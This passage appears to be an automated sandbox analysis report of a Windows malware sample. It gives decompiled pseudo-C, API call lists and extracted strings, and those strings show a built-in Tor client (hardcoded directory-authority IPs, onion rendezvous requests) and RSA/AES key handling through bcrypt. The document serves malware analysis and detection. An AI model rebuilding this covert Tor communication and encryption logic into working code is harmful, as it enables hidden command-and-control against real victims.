													if(_t990 >= 0) {
														goto L133;
													}
													E00406502(_v1924, 0x186a0);
													_t1038 = _v1924;
													 *_t1038 = 0x80;
													 *((char*)(_t1038 + 3)) = 1;
													 *((char*)(_t1038 + 4)) = 3;
													 *((char*)(_t1038 + 5)) = 1;
													 *((char*)(_t1038 + 9)) = _v28;
													 *((char*)(_t1038 + 0xf)) = 0x12;
													E00406519(_a4, 0xa,  &_v1740);
													E00406611( &_v1740, 0xa, _t1038 + 0x10);
													 *((char*)(_t1038 + 0x20)) = 0x3a;
													E00406519(_a8, 0xffffffff,  &_v1828);
													 *((intOrPtr*)(_t1038 + 0xf)) =  *((intOrPtr*)(_t1038 + 0xf)) + E0040673B(__eflags,  &_v1828);
													E0040647B( &_v1828, _t1038 + 0x21, _t859);
													E004038CD(_v12, _v516, _v508, _v468, _t1038 + 5, 1, _v524);
													E004044BF(__eflags, _v1896, _v1924, 0x202, 0, _a12);
													_t866 = E004047EF(_v1896, _v1920, 0x202, _a12, 0x64);
													_t1039 = _v1920;
													__eflags = _t866;
													if(_t866 != 0) {
														goto L131;
													}
													__eflags = _t1039[4] - 3;
													if(__eflags != 0) {
														goto L131;
													}
													_t868 = E0040394E(__eflags, _v12, _v512, _v504, _v464,  &(_t1039[5]), 3, _v520);
													__eflags = _t868;
													if(_t868 == 0) {
														goto L131;
													}
													__eflags = _t1039[5] - 4;
													if(_t1039[5] == 4) {
														E0040647B( &_v12, _a24, 4);
														E0040647B( &_v516, _a28, 0x10);
														E0040647B( &_v468, _a28 + 0x10, 8);
														E0040647B( &_v524, _a32, 8);
														E0040647B( &_v28, _a36, 4);
														_v1932 = 1;
													}
													goto L133;
												}
												__eflags = _v1816;
												if(_v1816 == 0) {
													continue;
												}
												goto L26;
											}
											__eflags = _t660 - 0x1f;
											if(__eflags != 0) {
												continue;
											}
											goto L23;
										}
										__eflags = _t660 - 0x17;
										if(_t660 != 0x17) {
											continue;
										}
										goto L21;
									}
									__eflags = _t660 - 7;
									if(_t660 != 7) {
										continue;
									}
									goto L19;
								}
								__eflags = _t660 - 7;
								if(_t660 != 7) {
									continue;
								}
								goto L17;
							}
							break;
						} else {
							continue;
						}
					}
				}
				L133:
				_v40 = 0xc;
				__eflags = _v1932 - 1;
				if(_v1932 != 1) {
					_v40 = 0xe;
				}
				E00406347( &_v572,  &_v572, 0, _v40);
				_v40 = 8;
				_v48 = 4;
				__eflags = _v1932 - 1;
				if(_v1932 != 1) {
					_v40 = 0xe;
					_v48 = 0;
				}
				E00406306( &_v516,  &_v516, _v48, _v40);
				CryptReleaseContext(_v8, 0);
				__eflags = _v1932 - 1;
				if(_v1932 != 1) {
					_push(0);
					_push(_v12);
					 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
				}
				_push(0);
				_push(_v16);
				 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
				_push(0);
				_push(_v20);
				 *((intOrPtr*)(E00406A3A(__eflags, E0040694A("bcrypt.dll"), "BCryptCloseAlgorithmProvider")))();
				E0040647B( &_v1896, _a20, 4);
				E0040491C( &_v576);
				E0040491C( &_v1928);
				E0040491C( &_v1920);
				E0040491C( &_v1924);
				return _v1932;
			}

0x004011b8
0x004011cf
0x004011e6
0x004011eb
0x004011ed
0x004011f5
0x004011f9
0x0040120f
0x00401211
0x00401213
0x0040121b
0x0040121f
0x00401235
0x00401237
0x00401239
0x00401241
0x00401245
0x0040125b
0x0040125d
0x0040125f
0x00401267
0x0040126e
0x0040126f
0x00401287
0x00401289
0x00401293
0x0040129d
0x004012a7
0x004012b1
0x004012bb
0x004012c5
0x004012cf
0x004012d9
0x004012e3
0x004012ed
0x004012f7
0x00401301
0x0040130b
0x00401315
0x0040131f
0x00401329
0x00401333
0x0040133d
0x00401347
0x00401351
0x0040135b
0x00401365
0x0040136f
0x0040136f
0x0040136f
0x0040136f
0x00401375
0x00000000
0x00000000
0x0040137d
0x004013a6
0x004013a6
0x004013a8
0x00000000
0x00000000
0x004013aa
0x004013bb
0x004013c0
0x004013c2
0x00000000
0x004013c4
0x004013cf
0x004013da
0x004013df
0x004013e9
0x004013f3
0x004013f9
0x004013fd
0x00401410
0x00401417
0x0040141c
0x0040141f
0x00401421
0x00401421
0x0040141f
0x00401427
0x00401428
0x00401428
0x00401428
0x00401437
0x0040143e
0x00402694
0x00402694
0x0040269b
0x00000000
0x00000000
0x00401466
0x00401469
0x0040146e
0x00401475
0x00401480
0x00401480
0x00401487
0x00401492
0x00401492
0x00401499
0x004014a4
0x004014a4
0x004014ab
0x004014b6
0x004014dd
0x004014e2
0x004014e2
0x004014e4
0x00000000
0x00000000
0x004014ea
0x004014f1
0x00401500
0x00401500
0x00401507
0x00401dc2
0x00401dc9
0x0040230d
0x00402314
0x00402488
0x0040248f
0x00402671
0x00402671
0x00000000
0x00402671
0x004024b3
0x004024b5
0x00402679
0x00402685
0x0040268a
0x00000000
0x0040268a
0x004024cd
0x004024d2
0x004024e8
0x004024ed
0x004024ef
0x00000000
0x00000000
0x00402501
0x00402506
0x00402508
0x00000000
0x00000000
0x0040250e
0x00402514
0x0040251b
0x00402522
0x00402535
0x00402540
0x00402541
0x00402543
0x00402545
0x0040254b
0x0040254c
0x0040254e
0x00402553
0x00402555
0x00000000
0x00000000
0x0040256b
0x00402570
0x00402572
0x00000000
0x00000000
0x00402578
0x0040257b
0x00402581
0x00402583
0x00402583
0x00402583
0x0040258c
0x00402591
0x00402598
0x00000000
0x00000000
0x0040259a
0x004025a4
0x004025a9
0x004025ac
0x00000000
0x00000000
0x004025b7
0x004025c0
0x004025c3
0x00000000
0x0040266c
0x004025d5
0x004025f8
0x004025fa
0x00402603
0x00402605
0x00402607
0x00402618
0x0040261d
0x00402623
0x00402634
0x00402639
0x0040263f
0x00402645
0x0040264a
0x0040264d
0x00402665
0x00000000
0x00402665
0x00000000
0x00402522
0x00402378
0x0040237d
0x0040237f
0x00000000
0x00000000
0x00402390
0x00402395
0x0040239b
0x0040239e
0x004023a2
0x004023a6
0x004023aa
0x004023ae
0x004023c8
0x004023c8
0x004023cb
0x00000000
0x00000000
0x004023bf
0x004023c7
0x004023c7
0x004023c7
0x004023da
0x004023fc
0x00402417
0x00402432
0x00402437
0x0040243d
0x0040243f
0x00000000
0x00000000
0x00402445
0x00402449
0x00000000
0x00000000
0x0040246c
0x00402471
0x00402473
0x00000000
0x00000000
0x00402479
0x0040247d
0x00000000
0x00000000
0x00000000
0x00402483
0x00401dcf
0x00401dd6
0x00401ddd
0x004022f6
0x004022f6
0x004022fa
0x00000000
0x00000000
0x00401dec
0x00401e09
0x00401e25
0x00401e3a
0x00401e4c
0x00401e5e
0x00401e63
0x00401f49
0x00401f49
0x00401f4d
0x00000000
0x00000000
0x00401e74
0x00401e79
0x00401eaf
0x00401eb4
0x00401ebb
0x00401ebd
0x00401f27
0x00401f27
0x00401f2b
0x00401f44
0x00401f2d
0x00401f30
0x00401f35
0x00401f35
0x00000000
0x00401f2b
0x00401ed3
0x00401ef1
0x00401ef6
0x00401f22
0x00401f22
0x00401f25
0x00000000
0x00000000
0x00401efa
0x00401f02
0x00401f0a
0x00000000
0x00401f20
0x00401f0c
0x00401f14
0x00401f16
0x00401f16
0x00401f1d
0x00401f1d
0x00000000
0x00401f22
0x00401f53
0x004022e9
0x004022e9
0x004022ed
0x00000000
0x00000000
0x00401f68
0x00401f6d
0x00401f6e
0x00401f92
0x00401f94
0x00000000
0x00000000
0x00401ffe
0x00402000
0x004022b0
0x004022c2
0x004022c7
0x004022ca
0x004022cd
0x004022e0
0x004022e5
0x004022e7
0x00402305
0x00000000
0x00402305
0x00000000
0x004022e7
0x00402011
0x00402016
0x0040201c
0x00402022
0x00402025
0x00402029
0x00402030
0x00402050
0x0040206b
0x00402086
0x0040208b
0x00402091
0x00402093
0x00000000
0x00000000
0x00402099
0x0040209d
0x00000000
0x00000000
0x004020c0
0x004020c5
0x004020c7
0x00000000
0x00000000
0x004020cd
0x004020d1
0x00000000
0x00000000
0x004020e2
0x004020e7
0x004020ed
0x004020f3
0x004020f6
0x004020fa
0x00402101
0x0040211a
0x0040211f
0x00402122
0x00402122
0x00402124
0x00402144
0x0040215f
0x00402164
0x0040216b
0x00402172
0x00402179
0x0040217f
0x00402190
0x00402195
0x004021a8
0x004021b3
0x004021b4
0x004021b6
0x004021b8
0x004021be
0x004021bf
0x004021c1
0x004021c6
0x004021c8
0x00000000
0x00000000
0x004021ce
0x004021d0
0x00000000
0x00000000
0x004021e6
0x004021eb
0x004021ed
0x00000000
0x00000000
0x004021f9
0x004021fc
0x004021ff
0x00402206
0x00000000
0x00000000
0x00402214
0x00402220
0x00402225
0x0040222f
0x00402231
0x00402231
0x00402233
0x00000000
0x00000000
0x00402239
0x004022a5
0x004022a5
0x004022a9
0x00000000
0x00000000
0x00402246
0x00402248
0x0040229c
0x0040229c
0x004022a2
0x004022a2
0x004022a2
0x00000000
0x004022a2
0x00402268
0x0040226d
0x0040226f
0x00000000
0x00000000
0x00402275
0x0040227b
0x00000000
0x00000000
0x0040227d
0x00402283
0x00000000
0x00000000
0x00402289
0x00402292
0x00402297
0x00402299
0x00402299
0x00402299
0x00000000
0x00402299
0x004022ab
0x00000000
0x00402195
0x004022f3
0x004022f3
0x004022f3
0x004022f3
0x00000000
0x00402300
0x00401522
0x00401525
0x00401528
0x0040153b
0x0040153b
0x0040153f
0x00000000
0x00000000
0x00401532
0x00401533
0x00401535
0x00401537
0x00401537
0x00401538
0x00401538
0x00401538
0x00401538
0x00401541
0x00401558
0x00401567
0x0040156c
0x0040156e
0x00000000
0x00000000
0x0040158c
0x00401591
0x00401597
0x0040164d
0x0040164d
0x00401650
0x00000000
0x00000000
0x00401652
0x00401656
0x004015ac
0x004015ac
0x004015ae
0x00000000
0x00000000
0x004015b4
0x004015c4
0x004015c9
0x004015cb
0x00000000
0x00000000
0x004015d1
0x004015e1
0x004015e6
0x004015e8
0x00000000
0x00000000
0x004015ee
0x004015fe
0x00401603
0x00401605
0x00000000
0x00000000
0x0040160c
0x0040160e
0x00401610
0x0040161c
0x00401621
0x00401623
0x00000000
0x00000000
0x0040162c
0x0040163c
0x00401641
0x00401643
0x00000000
0x00000000
0x00401649
0x0040164c
0x0040164c
0x00000000
0x0040164c
0x00000000
0x00401656
0x00401c17
0x00401c17
0x00401c1a
0x00000000
0x00000000
0x00401661
0x004016c4
0x004016c9
0x004016cb
0x00401bfd
0x00401c0f
0x00401c14
0x00401c14
0x00401c14
0x00000000
0x00401c14
0x004016f2
0x004016f7
0x004016f8
0x004016fa
0x00401701
0x00401707
0x0040170c
0x00401718
0x0040171d
0x00401723
0x0040173d
0x0040175b
0x0040177a
0x0040177f
0x00401781
0x00000000
0x00000000
0x00401787
0x0040178d
0x004017a3
0x004017a8
0x004017af
0x004017b6
0x004017bf
0x004017c9
0x004017d3
0x00401803
0x00401808
0x00401809
0x00401817
0x0040181c
0x00401834
0x00401840
0x00401846
0x00401850
0x00401850
0x00401850
0x00401852
0x00000000
0x00000000
0x0040184a
0x0040184b
0x0040184d
0x0040184f
0x0040184f
0x0040184d
0x00401854
0x0040186c
0x0040188b
0x00401890
0x004018a3
0x004018ab
0x004018b2
0x004018b3
0x004018b5
0x004018c0
0x004018c1
0x004018c3
0x004018c5
0x004018ca
0x004018d4
0x004018de
0x004018e8
0x004018f2
0x004018fc
0x0040190c
0x0040190e
0x00401927
0x0040192c
0x0040192e
0x00401939
0x00401940
0x00401947
0x00401948
0x0040194a
0x00401962
0x0040196f
0x00401974
0x0040197a
0x00401980
0x00401983
0x00401987
0x00401990
0x00401993
0x004019ad
0x004019b8
0x004019be
0x004019c8
0x004019d2
0x004019d7
0x004019d8
0x004019e0
0x004019e1
0x004019e3
0x004019eb
0x004019ec
0x004019f4
0x004019f5
0x00401a10
0x00401a1d
0x00401a22
0x00401a2c
0x00401a36
0x00401a50
0x00401a55
0x00401a57
0x00401a5f
0x00401a60
0x00401a62
0x00401a6a
0x00401a71
0x00401a72
0x00401a74
0x00401a8c
0x00401aa1
0x00401aba
0x00401aca
0x00401aec
0x00401b07
0x00401b22
0x00401b27
0x00401b2d
0x00401b2f
0x00000000
0x00000000
0x00401b35
0x00401b39
0x00000000
0x00000000
0x00401b5c
0x00401b61
0x00401b63
0x00000000
0x00000000
0x00401b69
0x00401b6d
0x00000000
0x00000000
0x00401b93
0x00401b98
0x00401b9a
0x00000000
0x00000000
0x00401bb3
0x00401beb
0x00401bf0
0x00401bf2
0x00000000
0x00000000
0x00401bf8
0x00000000
0x00401bf8
0x00401c20
0x00401c22
0x00000000
0x00000000
0x00401c33
0x00401c38
0x00401c3e
0x00401c41
0x00401c45
0x00401c49
0x00401c50
0x00401c53
0x00401c63
0x00401c75
0x00401c7a
0x00401c8a
0x00401c9b
0x00401caa
0x00401cd0
0x00401ceb
0x00401d06
0x00401d0b
0x00401d11
0x00401d13
0x00000000
0x00000000
0x00401d19
0x00401d1d
0x00000000
0x00000000
0x00401d44
0x00401d49
0x00401d4b
0x00000000
0x00000000
0x00401d51
0x00401d55
0x00401d64
0x00401d78
0x00401d8a
0x00401d9b
0x00401da9
0x00401dae
0x00401dae
0x00000000
0x00401d55
0x004014f3
0x004014fa
0x00000000
0x00000000
0x00000000
0x004014fa
0x004014ad
0x004014b0
0x00000000
0x00000000
0x00000000
0x004014b0
0x0040149b
0x0040149e
0x00000000
0x00000000
0x00000000
0x0040149e
0x00401489
0x0040148c
0x00000000
0x00000000
0x00000000
0x0040148c
0x00401477
0x0040147a
0x00000000
0x00000000
0x00000000
0x0040147a
0x00000000
0x00401439
0x00000000
0x00401439
0x00401437
0x004013c2
0x004026a1
0x004026a1
0x004026a8
0x004026af
0x004026b1
0x004026b1
0x004026c4
0x004026c9
0x004026d0
0x004026d7
0x004026de
0x004026e0
0x004026e7
0x004026e7
0x004026fb
0x00402705
0x0040270a
0x00402711
0x00402713
0x00402715
0x0040272d
0x0040272d
0x0040272f
0x00402731
0x00402749
0x0040274b
0x0040274d
0x00402765
0x00402773
0x0040277f
0x0040278b
0x00402797
0x004027a3
0x004027b2

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider,0000000D,F0000000,?,?,?,?,?), ref: 004011E6
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 00402705

Part of subcall function 00402A95: wsprintfA.USER32 ref: 00402AE4

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00401558
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040158C
inet_addr.WSOCK32(?,00000100,?,00000400,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00401707
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0040173D
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040175B

Part of subcall function 004040A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00404199
Part of subcall function 004040A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 004041B7

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 0040186C
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 0040188B
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 004018C5

Part of subcall function 004047EF: select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,?,?), ref: 0040482C

Strings

86.59.21.38, xrefs: 004012B1
ip-address, xrefs: 004015BB
P, xrefs: 004012BB
GET /tor/rendezvous2/%s HTTP/1.0Host: %sConnection: close, xrefs: 00402111
BCryptImportKey, xrefs: 00401A81
-----END MESSAGE-----, xrefs: 004022D0
BCryptEncrypt, xrefs: 00401A05
P, xrefs: 0040131F
ChainingMode, xrefs: 00401268, 0040126E
131.188.40.189, xrefs: 00401301
193.23.244.244, xrefs: 0040129D
KDBM, xrefs: 00401A22
KEY-----, xrefs: 00401613
AES, xrefs: 0040123B, 00401241
directory-footer, xrefs: 004013AD
-----BEGIN MESSAGE-----, xrefs: 0040150D
128.31.0.39, xrefs: 00401351
-----END, xrefs: 00401633
P, xrefs: 004012F7
KeyDataBlob, xrefs: 00401A6B, 00401A71
BCryptSetProperty, xrefs: 0040127C
RSAPUBLICBLOB, xrefs: 00401941, 00401947
BCryptOpenAlgorithmProvider, xrefs: 00401204, 0040122A, 00401250
194.109.206.212, xrefs: 004012ED
171.25.193.9, xrefs: 00401329
P, xrefs: 004012A7
204.13.164.118, xrefs: 004012D9
onion-port, xrefs: 004015D8
ChainingModeECB, xrefs: 00401261, 00401267
P, xrefs: 004012E3
/tor/status-vote/current/consensus, xrefs: 0040138C
199.58.81.140, xrefs: 004012C5
154.35.175.225, xrefs: 00401315
128.31.0.34, xrefs: 0040133D
P, xrefs: 0040130B
P, xrefs: 004012CF
SHA1, xrefs: 004011EF, 004011F5, 004019B2
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider, xrefs: 004011DB
introduction-point, xrefs: 0040159E
BCryptCloseAlgorithmProvider, xrefs: 00402722, 0040273E, 0040275A
RSA, xrefs: 00401215, 0040121B
BCryptImportKeyPair, xrefs: 00401957
bcrypt.dll, xrefs: 004011FA, 00401220, 00401246, 00401272, 0040194D, 004019FB, 00401A77, 00402718, 00402734, 00402750
service-key, xrefs: 004015F5

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$Context$AcquireDecodeObjectReleaseinet_addrselectwsprintf
String ID: -----BEGIN MESSAGE-----$-----END$-----END MESSAGE-----$/tor/status-vote/current/consensus$128.31.0.34$128.31.0.39$131.188.40.189$154.35.175.225$171.25.193.9$193.23.244.244$194.109.206.212$199.58.81.140$204.13.164.118$86.59.21.38$AES$BCryptCloseAlgorithmProvider$BCryptEncrypt$BCryptImportKey$BCryptImportKeyPair$BCryptOpenAlgorithmProvider$BCryptSetProperty$ChainingMode$ChainingModeECB$GET /tor/rendezvous2/%s HTTP/1.0Host: %sConnection: close$KDBM$KEY-----$KeyDataBlob$Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider$P$P$P$P$P$P$P$RSA$RSAPUBLICBLOB$SHA1$bcrypt.dll$directory-footer$introduction-point$ip-address$onion-port$service-key
API String ID: 1114855807-1473801416
Opcode ID: 707a2772a9074e24543460e1a4a875fe3e42be6ea24fa59ac49729ad8877ed33
Instruction ID: 8f86fcb71f256ea6d88601b3e7d278c6951c5660b25b10206a748a6fe96cee23
Opcode Fuzzy Hash: 707a2772a9074e24543460e1a4a875fe3e42be6ea24fa59ac49729ad8877ed33
Instruction Fuzzy Hash: 3AD28E71D40219AADF219F90CD45FDEB779EF08304F0040EAF609B61D1DB7AAAA48F59

Uniqueness

Uniqueness Score: -1.00%

Function 033F1408 Relevance: 53.9, APIs: 15, Strings: 15, Instructions: 1413encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 033F17A8
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 033F17DC
inet_addr.WS2_32(?), ref: 033F1957
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 033F198D
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 033F19AB

Part of subcall function 033F42F0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 033F4407

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 033F1ABC
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 033F1ADB
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 033F1B15

Part of subcall function 033F4A3F: select.WS2_32(00000000,?,00000000,00000000,?), ref: 033F4A7C

CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,00000000,?), ref: 033F2955

Strings

AES, xrefs: 033F148B, 033F1491
RSAPUBLICBLOB, xrefs: 033F1B91, 033F1B97
SHA1, xrefs: 033F143F, 033F1445, 033F1C02
P, xrefs: 033F155B
RSA, xrefs: 033F1465, 033F146B
ChainingModeECB, xrefs: 033F14B1, 033F14B7
KeyDataBlob, xrefs: 033F1CBB, 033F1CC1
KDBM, xrefs: 033F1C72
P, xrefs: 033F151F
P, xrefs: 033F14F7
P, xrefs: 033F1533
P, xrefs: 033F156F
ChainingMode, xrefs: 033F14B8, 033F14BE
P, xrefs: 033F150B
P, xrefs: 033F1547

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$ContextDecodeObjectReleaseinet_addrselect
String ID: AES$ChainingMode$ChainingModeECB$KDBM$KeyDataBlob$P$P$P$P$P$P$P$RSA$RSAPUBLICBLOB$SHA1
API String ID: 1993778655-2997045072
Opcode ID: 2e7f56be96334201c7cb84f0b7d197f4813698d69533d820697c4748f96ba2c0
Instruction ID: cff8270cdb7f363d643c0772cf6f5a8d331e9e893a9cbcab45ec8107da4c2225
Opcode Fuzzy Hash: 2e7f56be96334201c7cb84f0b7d197f4813698d69533d820697c4748f96ba2c0
Instruction Fuzzy Hash: A6D26A75D40319EEEF21DB90CD85FEEB7B9AB08300F5041E5E708BA090DB76AA949F51

Uniqueness

Uniqueness Score: -1.00%

Function 00403B91 Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 195
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00403B91(void* __eflags, intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				char _v16;
				char _v516;
				char _v568;
				intOrPtr _v572;
				int _v576;
				int _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				char _v596;
				char _v597;
				intOrPtr _v728;
				char _v732;
				intOrPtr _v736;
				int _v740;
				char _v744;
				char _v884;
				char _v942;
				char _v1012;
				char _v1028;
				int _v1032;
				char _v1040;
				char _v1044;
				int _v1052;
				int _v1056;
				char* _v1060;
				void* _t72;
				void* _t126;
				void* _t129;
				void* _t130;

				_t130 = __eflags;
				E00406502( &_v1060,  &_v16 - _t129);
				if(E0040673B(_t130, _a12) == 0x20) {
					_v1032 = E0040668B(_a12,  &_v516);
				} else {
					CryptStringToBinaryA(_a12, 0, 1, 0,  &_v1032, 0, 0);
					CryptStringToBinaryA(_a12, 0, 1,  &_v516,  &_v1032, 0, 0);
				}
				_t132 = _a36 - 1;
				if(_a36 == 1) {
					_t123 = _a32;
					E0040647B( &_v516, _a32 + 0xba, _v1032);
				}
				_t72 = E004040A0(_t123, _t132, _a4, _a8,  &_v516,  &_v884);
				if(_t72 != 0) {
					_t72 = E00403E6B(_a20, _a16,  &_v1012);
					_t134 = _t72;
					if(_t72 != 0) {
						E00406862(_t72, 0x100);
						asm("stosb");
						asm("loop 0xfffffff5");
						_v1044 = 0x94;
						_push( &_v1044);
						_push( &_v744);
						_push(0);
						_push(0x8c);
						_push( &_v884);
						_push(0x13);
						_push(1);
						L00406D60();
						_v596 = 0x31415352;
						_v592 = 0x400;
						_v588 = 4;
						_v584 = 0x80;
						_v580 = 0;
						_v576 = 0;
						asm("bswap eax");
						_v572 = _v728;
						E00406435( &_v597,  &_v568, 0x80);
						_push(0);
						_push(0x9c);
						_push( &_v596);
						_push( &_v1040);
						_push(L"RSAPUBLICBLOB");
						_push(0);
						_push(_a24);
						 *((intOrPtr*)(E00406A3A(_t134, E0040694A("bcrypt.dll"), "BCryptImportKeyPair")))();
						_v1060 = L"SHA1";
						_v1056 = 0;
						_v1052 = 0;
						_push(4);
						_push( &_v1044);
						_push(0x80);
						_push(_a32);
						_push(0);
						_push(0);
						_push( &_v1060);
						_push(0x56);
						_push( &_v1028);
						_push(_v1040);
						 *((intOrPtr*)(E00406A3A(_t134, E0040694A("bcrypt.dll"), "BCryptEncrypt")))();
						E00406306( &_v1040,  &_v1040, 0, 1);
						_t126 = _a32 + _v1044;
						_v744 = 0x4d42444b;
						_v740 = 1;
						_v736 = 0x10;
						E0040647B( &_v1028,  &_v732, 0x10);
						_push(0);
						_push(0x1c);
						_push( &_v744);
						_push(0);
						_push(0);
						_push( &_v1040);
						_push(L"KeyDataBlob");
						_push(0);
						_push(_a28);
						 *((intOrPtr*)(E00406A3A(_t134, E0040694A("bcrypt.dll"), "BCryptImportKey")))();
						E0040647B( &_v942, _t126, 0x3a);
						E0040380B(_t134, _v1040, _t126, 0x3a, 0);
						E00406306( &_v1040,  &_v1040, 0, 1);
						return _t126 + 0x3a - _a32;
					}
				}
				return _t72;
			}

0x00403b91
0x00403ba8
0x00403bb8
0x00403c02
0x00403bba
0x00403bce
0x00403bec
0x00403bec
0x00403c08
0x00403c0c
0x00403c0e
0x00403c25
0x00403c25
0x00403c3e
0x00403c45
0x00403c58
0x00403c5d
0x00403c5f
0x00403c75
0x00403c7a
0x00403c7b
0x00403c7d
0x00403c8d
0x00403c94
0x00403c95
0x00403c97
0x00403ca2
0x00403ca3
0x00403ca5
0x00403ca7
0x00403cac
0x00403cb6
0x00403cc0
0x00403cca
0x00403cd4
0x00403cde
0x00403cee
0x00403cf0
0x00403d09
0x00403d0e
0x00403d10
0x00403d1b
0x00403d22
0x00403d29
0x00403d2a
0x00403d2c
0x00403d44
0x00403d4c
0x00403d52
0x00403d5c
0x00403d69
0x00403d71
0x00403d72
0x00403d77
0x00403d7a
0x00403d7c
0x00403d84
0x00403d85
0x00403d8d
0x00403d8e
0x00403da9
0x00403db6
0x00403dbb
0x00403dc1
0x00403dcb
0x00403dd5
0x00403def
0x00403df4
0x00403df6
0x00403dfe
0x00403dff
0x00403e01
0x00403e09
0x00403e10
0x00403e11
0x00403e13
0x00403e2b
0x00403e37
0x00403e47
0x00403e5d
0x00000000
0x00403e62
0x00403c5f
0x00403e68

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00403BCE
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 00403BEC
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 00403CA7

Strings

RSA1, xrefs: 00403CAC
BCryptImportKey, xrefs: 00403E20
BCryptImportKeyPair, xrefs: 00403D39
BCryptEncrypt, xrefs: 00403D9E
KDBM, xrefs: 00403DC1
bcrypt.dll, xrefs: 00403D2F, 00403D94, 00403E16
KeyDataBlob, xrefs: 00403E0A, 00403E10
SHA1, xrefs: 00403D46
RSAPUBLICBLOB, xrefs: 00403D23, 00403D29

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$DecodeObject
String ID: BCryptEncrypt$BCryptImportKey$BCryptImportKeyPair$KDBM$KeyDataBlob$RSA1$RSAPUBLICBLOB$SHA1$bcrypt.dll
API String ID: 698452922-2403945854
Opcode ID: 2eccca54183d89b27dc7de38e25af8d22acb7a924e37e90f5653bc87b9b3a45d
Instruction ID: f3318452b740db4551a44141fe903876b0809600be6d7ac2b99b2e954f13e049
Opcode Fuzzy Hash: 2eccca54183d89b27dc7de38e25af8d22acb7a924e37e90f5653bc87b9b3a45d
Instruction Fuzzy Hash: 887143B294021CAAEB20DF51CD46FDE777CBB04708F0041AAB749B60C1D7B5AB948F59

Uniqueness

Uniqueness Score: -1.00%

Function 033F1250 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 119sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,00405E34,00405F52,00000000,00000000), ref: 033F127B
GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000,00000000,00405E34,00405F52,00000000,00000000,?,?,70207369), ref: 033F128E

Part of subcall function 033F6261: LocalFree.KERNEL32(?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 033F62BD
Part of subcall function 033F6261: LocalAlloc.KERNEL32(00000000,?,?,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 033F62C7
Part of subcall function 033F6261: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,00000019,?,?,?,00000000,?,00000000), ref: 033F62DE
Part of subcall function 033F6261: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,?,?,00000019,?,?,?,00000000), ref: 033F62EE
Part of subcall function 033F6261: LocalFree.KERNEL32(?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008,?), ref: 033F6306
